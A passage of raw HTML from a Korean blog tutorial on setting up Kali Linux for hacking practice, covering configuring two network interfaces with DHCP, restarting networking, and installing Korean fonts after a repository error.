width=&quot;581&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;세 번째는 웹과 관련된 프로그램을 모아두었다.&lt;/p&gt;
&lt;p&gt;그다음 칼리 리눅스 초기 설정을 위해 터미널을 켜준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;37.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;580&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blweaq/btqFg3Qv9Ku/wNtcULYtD0EOe1UbS94Vp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blweaq/btqFg3Qv9Ku/wNtcULYtD0EOe1UbS94Vp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blweaq/btqFg3Qv9Ku/wNtcULYtD0EOe1UbS94Vp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fblweaq%2FbtqFg3Qv9Ku%2FwNtcULYtD0EOe1UbS94Vp0%2Fimg.png&quot; data-filename=&quot;37.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;580&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;38.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;585&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4gsPc/btqFhkYM0Md/PCJthyYChMd4BYjVb4aZo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4gsPc/btqFhkYM0Md/PCJthyYChMd4BYjVb4aZo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4gsPc/btqFhkYM0Md/PCJthyYChMd4BYjVb4aZo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4gsPc%2FbtqFhkYM0Md%2FPCJthyYChMd4BYjVb4aZo1%2Fimg.png&quot; data-filename=&quot;38.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;585&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;39.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;582&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYJ5K3/btqFeCG833d/mnJ3kkkJCQfcgEo7MCPeOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYJ5K3/btqFeCG833d/mnJ3kkkJCQfcgEo7MCPeOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYJ5K3/btqFeCG833d/mnJ3kkkJCQfcgEo7MCPeOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYJ5K3%2FbtqFeCG833d%2FmnJ3kkkJCQfcgEo7MCPeOK%2Fimg.png&quot; data-filename=&quot;39.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;582&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;명령어 ip addr를 입력한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;41.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;583&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DMXwk/btqFiPdvgSs/NSaMtbzCuthxAC0Ghc3VZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DMXwk/btqFiPdvgSs/NSaMtbzCuthxAC0Ghc3VZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DMXwk/btqFiPdvgSs/NSaMtbzCuthxAC0Ghc3VZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDMXwk%2FbtqFiPdvgSs%2FNSaMtbzCuthxAC0Ghc3VZK%2Fimg.png&quot; data-filename=&quot;41.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;583&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;명령어를 입력하면 이런 결과가 나온다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;eth0이 NAT어댑터이고 eth1이 호스트 전용 어댑터이다.&lt;/p&gt;
&lt;p&gt;그리고 eth0에는 ip주소가 할당되지 않았다는 것을 알 수 있고 eth1에는 ip가 할당된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;(inet 뒤에 ip주소 확인)&lt;/p&gt;
&lt;p&gt;모의 해킹 실습을 위해서 eth0와 eth1 모두 ip를 할당해야 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;42.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;608&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbKCkX/btqFgxFmMDb/NhDjN9cDUj8jBRJlFeiM90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbKCkX/btqFgxFmMDb/NhDjN9cDUj8jBRJlFeiM90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbKCkX/btqFgxFmMDb/NhDjN9cDUj8jBRJlFeiM90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbKCkX%2FbtqFgxFmMDb%2FNhDjN9cDUj8jBRJlFeiM90%2Fimg.png&quot; data-filename=&quot;42.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;608&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;편집기를 클릭&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;43.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;617&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1N5VF/btqFg4CIOSv/zh6K5nyYOPYarxPG7FKKrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1N5VF/btqFg4CIOSv/zh6K5nyYOPYarxPG7FKKrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1N5VF/btqFg4CIOSv/zh6K5nyYOPYarxPG7FKKrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1N5VF%2FbtqFg4CIOSv%2Fzh6K5nyYOPYarxPG7FKKrk%2Fimg.png&quot; data-filename=&quot;43.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;617&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;44.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;616&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brCr5o/btqFiPq1T2a/JkeCWqCsv09BtdXKM9j7K1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brCr5o/btqFiPq1T2a/JkeCWqCsv09BtdXKM9j7K1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brCr5o/btqFiPq1T2a/JkeCWqCsv09BtdXKM9j7K1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrCr5o%2FbtqFiPq1T2a%2FJkeCWqCsv09BtdXKM9j7K1%2Fimg.png&quot; data-filename=&quot;44.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;616&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;45.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;618&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXlVZv/btqFiQjchRr/THGyIsHDQp33CcYeqLOP90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXlVZv/btqFiQjchRr/THGyIsHDQp33CcYeqLOP90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXlVZv/btqFiQjchRr/THGyIsHDQp33CcYeqLOP90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXlVZv%2FbtqFiQjchRr%2FTHGyIsHDQp33CcYeqLOP90%2Fimg.png&quot; data-filename=&quot;45.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;618&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;46.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;620&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B3jUF/btqFgxk7Iv3/Er0B5TKnwAwiyp9Po5LXS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B3jUF/btqFgxk7Iv3/Er0B5TKnwAwiyp9Po5LXS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B3jUF/btqFgxk7Iv3/Er0B5TKnwAwiyp9Po5LXS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB3jUF%2FbtqFgxk7Iv3%2FEr0B5TKnwAwiyp9Po5LXS1%2Fimg.png&quot; data-filename=&quot;46.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;620&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;/etc/network/interfaces 경로로 들어간다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;47.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;621&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmbnq6/btqFhlEiQk4/oEe8BTunGCd7GZQZgBkktk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmbnq6/btqFhlEiQk4/oEe8BTunGCd7GZQZgBkktk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmbnq6/btqFhlEiQk4/oEe8BTunGCd7GZQZgBkktk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbmbnq6%2FbtqFhlEiQk4%2FoEe8BTunGCd7GZQZgBkktk%2Fimg.png&quot; data-filename=&quot;47.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;621&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;auto eth0&lt;/p&gt;
&lt;p&gt;iface eth0 inet dhcp&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;auto eth1&lt;/p&gt;
&lt;p&gt;iface eth1 inet dhcp&lt;/p&gt;
&lt;p&gt;를 입력해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;48.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;629&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rwNLD/btqFjdrLRej/M2deG9S2H2ecnb6ZCdSR9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rwNLD/btqFjdrLRej/M2deG9S2H2ecnb6ZCdSR9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rwNLD/btqFjdrLRej/M2deG9S2H2ecnb6ZCdSR9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrwNLD%2FbtqFjdrLRej%2FM2deG9S2H2ecnb6ZCdSR9k%2Fimg.png&quot; data-filename=&quot;48.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;629&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이데넷0,1 를 dhcp를 이용해서(ip주소를 자동으로 활당 받음) 자동으로 부팅하자마자 띄워 준다는 내용이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;49.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;629&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6MEYm/btqFiPknkp8/uU530BjsRAM0U8IhIY8kV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6MEYm/btqFiPknkp8/uU530BjsRAM0U8IhIY8kV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6MEYm/btqFiPknkp8/uU530BjsRAM0U8IhIY8kV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6MEYm%2FbtqFiPknkp8%2FuU530BjsRAM0U8IhIY8kV0%2Fimg.png&quot; data-filename=&quot;49.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;629&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;저장을 눌러준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;50.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;633&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIG97R/btqFgwT6k9K/dKJsJ0iWsCGwh8e5VORsz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIG97R/btqFgwT6k9K/dKJsJ0iWsCGwh8e5VORsz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIG97R/btqFgwT6k9K/dKJsJ0iWsCGwh8e5VORsz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIG97R%2FbtqFgwT6k9K%2FdKJsJ0iWsCGwh8e5VORsz0%2Fimg.png&quot; data-filename=&quot;50.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;633&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 터미널에 systemctl restart networking을 입력한다.&lt;/p&gt;
&lt;p&gt;(네트워크를 재시작하겠다는 명령어이다.)&lt;/p&gt;
&lt;p&gt;그리고 ip addr을 입력하면 eth0와 eth1에 ip가 할당된 것을 확인할 수 있을 것이다.&lt;/p&gt;
&lt;p&gt;그리고 네이버에 접속해보자.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;51.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;638&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdSwA5/btqFgxZNN91/C10rEt0HcXFqMQyjYKAlT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdSwA5/btqFgxZNN91/C10rEt0HcXFqMQyjYKAlT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdSwA5/btqFgxZNN91/C10rEt0HcXFqMQyjYKAlT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdSwA5%2FbtqFgxZNN91%2FC10rEt0HcXFqMQyjYKAlT0%2Fimg.png&quot; data-filename=&quot;51.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;638&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;네이버에 접속이 되었다면 네트워크 설정이 잘된 것이다.&lt;/p&gt;
&lt;p&gt;하지만 한글 폰트가 모두 깨져 있는 것을 볼 수 있을 것이다.&lt;/p&gt;
&lt;p&gt;이것을 해결하기 위해서 터미널에 다시 들어간다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;52.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;647&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dOlkry/btqFhLpdDYv/KIRd24KgKmxYK77UYkpJv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dOlkry/btqFhLpdDYv/KIRd24KgKmxYK77UYkpJv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dOlkry/btqFhLpdDYv/KIRd24KgKmxYK77UYkpJv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdOlkry%2FbtqFhLpdDYv%2FKIRd24KgKmxYK77UYkpJv0%2Fimg.png&quot; data-filename=&quot;52.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;647&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 apt-get install - y fonts-nanum을 입력한다.&lt;/p&gt;
&lt;p&gt;(한글 나눔 폰트 설치)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;53.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;644&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfAeLx/btqFgIz0nbm/4W9eO3lRJU0ZciLrrK6RCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfAeLx/btqFgIz0nbm/4W9eO3lRJU0ZciLrrK6RCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfAeLx/btqFgIz0nbm/4W9eO3lRJU0ZciLrrK6RCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfAeLx%2FbtqFgIz0nbm%2F4W9eO3lRJU0ZciLrrK6RCk%2Fimg.png&quot; data-filename=&quot;53.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;644&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;하지만 에러가 떴다.&lt;/p&gt;
&lt;p&gt;저장소에 문제가 있는 것 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;54.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;645&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cN2i6S/btqFhMhp0xC/dUqTprAlrjm7WWChqtCfo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cN2i6S/btqFhMhp0xC/dUqTprAlrjm7WWChqtCfo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cN2i6S/btqFhMhp0xC/dUqTprAlrjm7WWChqtCfo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcN2i6S%2FbtqFhMhp0xC%2FdUqTprAlrjm7WWChqtCfo1%2Fimg.png&quot; data-filename=&quot;54.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;645&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;나노 편집기를 사용해서 sources.list파일을 열어준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;55.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;643&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVL0gA/btqFiAAZntB/29x38vA2tKGSRnaZlKD0Ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVL0gA/btqFiAAZntB/29x38vA2tKGSRnaZlKD0Ok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVL0gA/btqFiAAZntB/29x38vA2tKGSRnaZlKD0Ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVL0gA%2FbtqFiAAZntB%2F29x38vA2tKGSRnaZlKD0Ok%2Fimg.png&quot; data-filename=&quot;55.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;643&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 